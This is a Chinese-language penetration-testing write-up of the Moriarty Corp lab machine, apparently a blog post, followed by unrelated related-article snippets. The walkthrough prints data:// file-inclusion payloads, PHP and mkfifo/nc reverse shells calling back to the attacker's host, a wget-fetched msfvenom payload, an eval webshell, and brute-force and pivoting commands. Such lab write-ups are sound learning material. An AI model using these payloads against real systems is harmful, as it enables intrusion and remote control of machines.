打靶笔记-03-vulhub-BoredHackerBlog

一、靶机信息

Name: BoredHackerBlog: Moriarty Corp(中-高级难度)
Date release: 29 Mar 2020
Author: BoredHackerBlog
Series: BoredHackerBlog

这个靶机下载页面有些提示,8000是提交flag的端口,没必要攻击,然后漏洞环境是安装在靶机的Docker中的,别的好像没了或者不太重要,可以按照完全啥也不知道进行打靶。

二、靶机启动

2.1 靶机hash校验

sha1sum MoriartyCorp.ova
e9874e51a2645c1b61a3afc771aa5abdc94bf264 MoriartyCorp.ova

2.2 导入Virtualbox,并配置网络

这个靶机依然是适用于Vbox,而我攻击机器是在Vmware上搭建的,所以还是将Vbox的网络桥接到vmnet8上,使其处于一个网段,实战中这块无需多虑。

2.3 启动靶机

为了以防万一,打个快照,启动靶机开始练习

三、开始打靶

3.1 获取靶机IP

3.1.1 攻击机IP以及网卡信息

3.1.2 主机发现

sudo arp-scan -I eth0 -l



成功获取靶机IP为172.16.95.139

3.2 端口&服务扫描

3.2.1 扫描开放端口

sudo nmap -p- 172.16.95.139



发现开放端口22、8000、9000

3.2.2 确认端口所对应服务

按照惯例,对端口后面的服务进一步确认

sudo nmap -p22,8000,9000 -sV 172.16.95.139



可以看到分别是SSH、PythonWeb框架Werkzeug、Portainer Docker UI控制界面

搞到这儿,就可以有多条向下的思路

1. 爆破ssh

2. Portainer 1.19.2 是否有漏洞,它上面搭建的Application是否有web漏洞

3. Portainer 1.19.2 的漏洞利用

可以利用nmap或其他工具进行漏洞扫描测试,这里简单利用nmap的脚本扫描了一下,都没发现漏洞,所以可以先去访问下靶机提示的提交flag的8000端口。

3.3 访问8000端口

3.3.1 开局

这个靶机的一切都从这里开始进入,先键入flag{start}进入第一关



提示80端口,刚刚端口扫描没发现,现在重新扫描一遍



果然开放了,看起来这个靶机是一关一关开放的,那就开始第一关吧。

3.3.2 第一关

访问80端口,直接搞开网页源代码



发现这个页面比较简单,有点用处的就是两个链接,看到接收参数是file,而且值是个文件,我们有理由联想到文件包含,而且文件名可控,不过不知道路径可不可控,可以试一试,结合之前端口服务扫描确定的操作系统为linux,所以:

/?file=../../../../../../etc/passwd



发现路径参数也可控,所以存在本地文件包含漏洞(LFI),而且包含的是敏感型文件,说明还存在目录遍历漏洞

所以接下来就好玩了,可以包含任意文件,那就也可以是webshell,然后用蚁剑或冰蝎等进行连接,但前提是判断服务器语言环境以及找到上传webshell的地方

  1. 后端环境为php环境

    简单判断了一下,或者也可以用Wappalyzer等插件确定

  2. 上传webshell的地方

    这个地方,可以通过污染日志文件的方式达到目的
ssh '<?php phpinfo();?>'@172.16.95.139
ssh '<?php system($_GET['shell']); ?>'@172.16.95.139



这个肯定连接不上,因为压根没有这个用户名,但这里目的是为了污染ssh的连接日志文件。

为了验证是否成功污染,之前污染了phpinfo的内容进入日志,可以先包含一下看看:

?file=../../../../../../var/log/auth.log

最后好像失败了,应该是没有被污染,没想明白,这里记录一下,一会儿打进去看一下;

一会儿找到答案后记录在此

第一关打入进去之后,发现就没有此日志文件,后来才明白过来,这是个容器,而ssh的端口是宿主机的,然而宿主机的80端口映射到了容器中,这个漏洞网站是运行在容器中的,打死也包含不上啊,=-=

这里利用伪协议再次尝试:

首先是用了data伪协议:

?file=data:// text/plain,<?php phpinfo();?>
?file=data:// text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=



成功!!!那就可以使用data协议进行反弹shell了,如下是代码(一定要记得URL编码,否则代码中的一些字符例如&会被浏览器解析而无法进入后台执行):

开启nc进行监听

nc -lnvp 6666

反弹shell

?file=data://text/plain,<?php %24sock%3dfsockopen("172.16.95.133","6666")%3bexec(%22%2fbin%2fsh%20-i%20%3c%263%20%3e%263%202%3e%263%22)%3b?>



直接执行php的反弹代码,结果一闪而过,应该是代码执行后就进行内存回收了,所以无法持续链接。所以需要可以采用如下的办法实现:

?file=data://text/plain,<?php $var=shell_exec($_GET['d']);echo $var;?>&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff

// 或者采用base64转换后:
?file=data://text/plain;base64,
PD9waHAgJHZhcj1zaGVsbF9leGVjKCRfR0VUWydkJ10pO2VjaG8gJHZhcjs/Pg==&d=rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%20172.16.95.133%206666%20%3e%2ftmp%2ff



成功拿到第一个flag,然后也提示了下一关信息是个内网



3. 总结

反弹shell的shell_exec()函数可以自由更换,比如system(),还可以尝试其他协议,比如http的方式进行远程包含

不过这里有个坑,如下:

首先在远程服务器(这里直接以kali为例)上放置需要包含的文件

cd /var/www/html/
sudo echo '<?php phpinfo();?>' ./1.txt
sudo cp 1.txt 1.php

进行远程文件包含

?file=http://172.16.95.133/1.txt



这而是先将1.txt的内容包含到了靶机上进行执行

进行如下远程包含

?file=http://172.16.95.133/1.php



这是在远程服务器上执行后将执行后的html响应内容进行了包含

所以如果想要利用http的方式进行远程文件包含(RFI),要注意分辨包含的内容是什么,要进行反弹shell的话可以将如下下载到的php文件修改后缀名后挂载到远程服务器上再进行包含,否则拿到的shell就是自己远程服务器的shell



如果不改后缀名的话,拿到的shell就是自己远程服务器的shell,如下就搞笑了:



好了,这就开始进入第二关。。。

3.3.3 第二关

根据提示,这个服务器上(docker容器)没有任何信息,需要进一步内网渗透,也提示了内网网段172.17.0.3-254(也可以自己收集到)



但是接下来,要进行内网渗透,攻击机器必须能够访问到内网网段

两种办法

  • 利用第一关拿到的shell提权,然后搞一堆攻击工具下来,远程操作,不过这个很不现实,基本可以放弃了
  • 利用第一关拿到的shell建立隧道,使得外网的攻击机器能够访问目标内网,这个可行,建立隧道的方式有很多种,我这里选择美少妇(MSF),回头尝试一下其他的方式并比较记录下来
3.3.3.1 建立隧道
  1. 开启msf,并开始监听,准备接收shell

    msfconsole
    use exploit/multi/handler
    set payload linux/x64/meterpreter_reverse_tcp
    show options
    set lhost 172.16.95.133
    set lport 8888
    run

  2. msfvenom生成相应的payload

    msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.95.133 lport=8888 -f elf >shell.elf

  3. 利用第一关的shell将生成的payload下载到目标机器执行进行上线

    cd /tmp
    wget http://172.16.95.133/shell.elf
    chmod +x shell.elf
    ./shell.elf



    成功上线

  4. 给获得的meterpreter添加内网路由

    route
    run autoroute -s 172.17.0.0/16
    background
    route print

  5. 开启msf的代理服务端功能

    sessions
    use auxiliary/server/socks_proxy
    show options
    run

  6. 配置proxychains以使用代理

    sudo vim /etc/proxychains4.conf

    将msf的代理服务器地址写入

  7. 测试隧道是否成功



    可以看到隧道已经建立成功

3.3.3.2 开始主机发现
proxychains nmap -p80,22,443 172.17.0.3-254

注意这里有个坑,就是走proxychains时最好用普通用户,我用root用户好像没扫出有效结果,不知道为啥。

之后找到答案,写在这里



成功发现一台主机172.17.0.4开放了80端口

3.3.3.3 配置火狐代理访问内网

发现内网有一台主机开放了80端口,所以可以访问一下,但是浏览器也必须走socks5代理才可以,如下配置



如下已经成功访问到,可以看出是一个文件上传的页面,看到文件上传就嘿嘿嘿了,不过貌似上传要密码



或者还可以使用如下命令启动firefox,也可以访问到内网web应用

proxychains firefox 172.17.0.4

3.3.3.4 文件上传利用

可以看到这个页面上传文件需要密码,那就只能爆破了,要想爆破就得抓包,所以必须得先让浏览器的包先到burp,然后burp挂着代理去和内网通信

浏览器=>Burp代理=>socks代理===>内网

所以需要做的就是浏览器设置代理到burp,然设置burp的socks代理,如下:







到此就搭建好了,然后开始上传文件,爆破密码

  1. 这里打算上传webshell,先随便输入密码如下:
echo '<?php @eval($_POST['ant']);?>' > shell.php



2. burp拦截并发送到intruder进行密码破解:





这里字典选择了rockyou,kali自带的很大的字典



然后就可以暴力破解了



没一会儿就找到了到密码,是password,上传之后shell.php的地址是./photo/22/shell.php

3. 上传成功,使用蚁剑链接,蚁剑也需要配置socks5代理

设置代理



链接shell,这里没有自定义UA,可以在请求信息或者js文件中进行修改

3.3.3.5 寻找flag

最终在根目录下找到第二个flag:2_flag.txt



提交之后开启第三关

3.3.4 第三关

根据提示信息,这关拿到了一些账户以及这些账户的hash,但是不知道具体哪个机器的ssh连接账户,先把账户记录和密码hash破解记录下来,分别保存为user.txt、password.txt

  1. 扫描内网开放了22端口的主机,如果对方ssh服务没有更改端口号的话就是默认22
proxychains nmap -Pn -sT -p22 172.17.0.3-254



2. 然后发现新的主机172.17.0.5开放了22端口,然后调用hydra进行尝试登陆破解

proxychains hydra -L user.txt -P password.txt



很快就找到了ssh登陆账户root密码weapons

3. 开始尝试ssh连接



4. 获取3_flag.txt并提交



根据提示进入第四关,目标内网还搭建有聊天系统,可能在443、8000、8080、8888四个端口,然后还获得聊天系统的账户buyer13密码arms13

3.3.5 第四关

  1. 开始扫描443、8000、8080、8888端口开放主机
proxychains nmap -Pn -sT -p443,8000,8080,8888 172.17.0.3-254



发现172.17.0.6的主机8000端口开放

2. 访问http://172.17.0.6:8000







通过分析Chats中的内容,可以发现对方管理员账户为admin

3. 逻辑漏洞修改管理员密码

可以发现有一个Change Password的页面,访问一下,发现不用验证旧密码,先提交抓包看看





发现果然不需要旧密码,也没有验证码,判断这边是一个任意密码修改的逻辑漏洞

然后尝试将用户名修改为admin,放包,如果能够修改成功,则应该存在一个越权逻辑漏洞



最后成功登陆admin



在admin的Chats中发现了新的flag



4. 提交flag进入下一关



还提示内网还有一个Elasticsearch

3.3.6 第五关

Elasticsearch的默认端口是9200

  1. 扫描内网开放了9200端口的主机
proxychains nmap -Pn -sT -p9200 172.17.0.3-254



很快就发现了主机172.17.0.7开放了9200,很可能就部署在这台服务器上

2. 访问http://172.17.0.7:9200



果然,拿到了这个服务的一些信息

3. 搜寻Elasticsearch的历史漏洞信息

searchsploit Elasticsearch



然后就挨个尝试吧

4. 漏洞利用

proxychains python2 36337.py 172.17.0.7



5. 提交flag,结束

四、总结

这个靶机从开始的文件包含各种姿势反弹shell开始,涉及到了内网隧道搭建任意修改密码,越权等逻辑漏洞等,练习了反弹shell的姿势、msf的使用、burp联动二级代理以及漏洞查找思路等。

下次可以用下venom,据说也很好用。

这次没怎么涉及到免杀和绕过,将基本思路形成肌肉记忆后,需要再免杀和绕过上练习练习,毕竟之后实际环境不像靶机,不怎么设置waf和杀毒。

打靶笔记-03-vulhub-Moriarty Corp的更多相关文章

  1. 打靶笔记-04-vulnhub-Jangow

    打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...

  2. 《30天自制操作系统》笔记(03)——使用Vmware

    <30天自制操作系统>笔记(03)——使用Vmware 进度回顾 在上一篇,实现了用IPL加载OS程序到内存,然后JMP到OS程序这一功能:并且总结出下一步的OS开发结构.但是遇到了真机测 ...

  3. JS自学笔记03

    JS自学笔记03 1.函数练习: 如果函数所需参数为数组,在声明和定义时按照普通变量名书写参数列表,在编写函数体内容时体现其为一个数组即可,再传参时可以直接将具体的数组传进去 即 var max=ge ...

  4. 机器学习实战(Machine Learning in Action)学习笔记————03.决策树原理、源码解析及测试

    机器学习实战(Machine Learning in Action)学习笔记————03.决策树原理.源码解析及测试 关键字:决策树.python.源码解析.测试作者:米仓山下时间:2018-10-2 ...

  5. CS229 笔记03

    CS229 笔记03 局部加权线性回归 Non-Parametric Learning Algorithm (非参数学习方法) Number of parameters grows with the ...

  6. OpenCV 学习笔记03 边界框、最小矩形区域和最小闭圆的轮廓

    本节代码使用的opencv-python 4.0.1,numpy 1.15.4 + mkl 使用图片为 Mjolnir_Round_Car_Magnet_300x300.jpg 代码如下: impor ...

  7. OpenCV 学习笔记03 findContours函数

    opencv-python   4.0.1 1 函数释义 词义:发现轮廓! 从二进制图像中查找轮廓(Finds contours in a binary image):轮廓是形状分析和物体检测和识别的 ...

  8. C++ GUI Qt4学习笔记03

    C++ GUI Qt4学习笔记03   qtc++spreadsheet文档工具resources 本章介绍创建Spreadsheet应用程序的主窗口 1.子类化QMainWindow 通过子类化QM ...

  9. SaToken学习笔记-03

    SaToken学习笔记-03 如果排版有问题,请点击:传送门 核心思想 所谓权限验证,验证的核心就是一个账号是否拥有一个权限码 有,就让你通过.没有?那么禁止访问! 再往底了说,就是每个账号都会拥有一 ...

随机推荐

  1. C#中的字符串拼接@,$

    转载自:https://blog.csdn.net/qq_40666620/article/details/101695138 一:@ @的意思是以@标注的字符出,其中所有的符号均为字符串符号,没有什 ...

  2. P2678 [NOIP2015 提高组] 跳石头

    #include<bits/stdc++.h> using namespace std; int l,n,m,a[100010];//与起点的距离 bool check(int d) { ...

  3. 7、Linux基础--权限、查看用户信息

    笔记 1.晨考 1.Linux系统中的文件"身份证号"是什么 index node 号码 2.什么是硬链接,什么是软连接 硬链接是文件的入口,软连接是快捷方式. 3.硬链接中保存的 ...

  4. STM32 HAL 库实现乒乓缓存加空闲中断的串口 DMA 收发机制,轻松跑上 2M 波特率

    前言 直接储存器访问(Direct Memory Access,DMA),允许一些设备独立地访问数据,而不需要经过 CPU 介入处理.因此在访问大量数据时,使用 DMA 可以节约可观的 CPU 处理时 ...

  5. c++ 字符串替换程序 p324

    字符串替换程序 C++ Primer 324页 // replace:从str字符串中查找oldVal字符串,如果找到就替换成newVal字符串. void replace(string &s ...

  6. Nginx 配置apple-app-site-association

    ios突然给我发了如上链接和一个json,说他那边需要放一个 apple-app-site-association 文件用来支持他那边的功能,文件不需要后缀. 先说一下要求:线上官网的地址后面跟上他所 ...

  7. 攻防世界Web_python_template_injection

    题目: 就一句话啥也没有.python 模板注入.刚学菜鸡还不知道python模板有哪些注入漏洞,上网查一下.又学到一个知识点. python常用的web 模板有 Django,Jinja2,Torn ...

  8. [题解]hihoCoder挑战赛18——题目1 神奇字符串

    题目地址:http://hihocoder.com/problemset/problem/1264 时间限制:20000ms 单点时限:1000ms 内存限制:256MB 描述 我们说两个字符串是非常 ...

  9. 十一讲/十二讲 最近总是学不进去,这咋办啊 哭了我i我i我i

    0: 2,9,7      错错错 帽号回来是列表 1:好像一样?   错错错  不一样,list[0]是一个值,冒号回来是个列表 2:A.insert(0,A[-1]) del A[-1]      ...

  10. 案例十:shell编写nginx服务启动程序

    使用源码包安装的Nginx没办法使用"service nginx start"或"/etc/init.d/nginx start"进行操作和控制,所以写了以下的 ...